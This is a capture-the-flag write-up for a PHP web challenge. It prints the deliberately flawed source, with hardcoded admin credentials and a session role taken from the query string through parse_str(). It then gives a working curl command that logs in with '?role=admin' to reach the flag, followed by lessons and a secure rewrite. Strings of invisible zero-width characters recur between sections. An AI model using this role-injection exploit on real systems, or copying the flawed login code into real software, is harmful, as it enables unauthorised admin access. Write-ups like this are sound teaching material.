Творение безумца (Work of a Madman)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: Authentication bypass with hardcoded credentials, Query string parameter injection via parse_str(), Session role manipulation, Source code analysis for credential discovery

Summary

Walkthrough of the CUSTOM Web Творение безумца (Work of a Madman). Task: PHP application with source code provided. Solution: Found hardcoded credentials and exploited parse_str() query string injection to set admin role in session.

Description

"Что опять придумал этот безумец?" (What has this madman come up with again?)

The task provides PHP application source code (workOfaMadman_sources.zip).

Analysis

Source code: login.php

 php read-only • copy allowed Copy
<?php
session_start();

$valid_username = 'admin';
$valid_password = 'bl4ckbl4ckbl4ck';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'] ?? '';
    $password = $_POST['password'] ?? '';
    
    if ($username === $valid_username && $password === $valid_password) {
        $_SESSION['logged_in'] = true;
        $_SESSION['username'] = $username;
        
        // VULNERABILITY: role is taken from GET parameter!
        parse_str($_SERVER['QUERY_STRING'], $params);
        $_SESSION['role'] = $params['role'] ?? 'user';
        
        header('Location: admin.php');
        exit;
    }
}
?>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Issues found:

1. Hardcoded credentials: admin:bl4ckbl4ckbl4ck — credentials directly in the code
2. Insecure role assignment: User role is taken from GET parameter role via parse_str()

Source code: admin.php

 php read-only • copy allowed Copy
<?php
session_start();

if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
    header('Location: login.php');
    exit;
}

if ($_SESSION['role'] === 'admin') {
    echo "FLAG: CODEBY{REDACTED}";
} else {
    echo "Access denied. Admin role required.";
}
?>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Logic: The flag is displayed only if $_SESSION['role'] === 'admin'.

Vulnerability: Query String Injection

The function parse_str($_SERVER['QUERY_STRING'], $params) parses GET parameters into the $params array. Then $params['role'] is directly assigned to the session without validation.

Attack: Add ?role=admin to the URL during POST request to login.php.

Solution

Exploitation with a single command

 bash read-only • copy allowed Copy
curl -s -c cookies.txt -b cookies.txt -L -X POST \
    "http://62.173.140.174:16062/login.php?role=admin" \
    -d "username=admin&password=bl4ckbl4ckbl4ck"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Command breakdown:

• -c cookies.txt -b cookies.txt — save and use cookies (for session)
• -L — follow redirects (login.php → admin.php)
• -X POST — POST request with credentials
• ?role=admin — role injection via query string
• -d "username=admin&password=bl4ckbl4ckbl4ck" — hardcoded credentials

What happens:

1. POST request to login.php?role=admin with correct credentials
2. parse_str() parses role=admin from query string
3. $_SESSION['role'] = 'admin' — role is set!
4. Redirect to admin.php
5. Check $_SESSION['role'] === 'admin' passes
6. Flag is displayed ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Lessons

1. Never trust user input for setting roles:

    php read-only • copy allowed Copy
   // BAD
   $_SESSION['role'] = $params['role'] ?? 'user';
   
   // GOOD
   $_SESSION['role'] = 'user'; // Always default

2. parse_str() is dangerous without validation: This function can overwrite any variables, including security-critical ones.

3. Hardcoded credentials are a critical vulnerability: Credentials should be stored in protected configuration or database with password hashing.

4. Task name is a hint: "Work of a Madman" hints at illogical/dangerous code. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Secure Alternative

 php read-only • copy allowed Copy
<?php
session_start();

// Credentials from protected configuration
$valid_username = getenv('ADMIN_USER');
$valid_password_hash = getenv('ADMIN_PASS_HASH');

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'] ?? '';
    $password = $_POST['password'] ?? '';
    
    if ($username === $valid_username && password_verify($password, $valid_password_hash)) {
        $_SESSION['logged_in'] = true;
        $_SESSION['username'] = $username;
        
        // Role from database, NOT from user input
        $_SESSION['role'] = getUserRoleFromDatabase($username);
        
        header('Location: admin.php');
        exit;
    }
}
?>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Useful Commands

 bash read-only • copy allowed Copy
# Analyze source code for vulnerabilities
grep -r "parse_str" *.php
grep -r "\$_SESSION\['role'\]" *.php
grep -r "password" *.php

# Test query string injection
curl -v "http://target/login.php?role=admin" -d "username=admin&password=pass"

# Check session after login
curl -c cookies.txt -b cookies.txt -L "http://target/admin.php"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering Authentication bypass with hardcoded credentials, Query string parameter injection via parse_str(), Session role manipulation, Source code analysis for credential discovery was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-01-04 • CUSTOM • Творение безумца (Work of a Madman) • Difficulty: Easy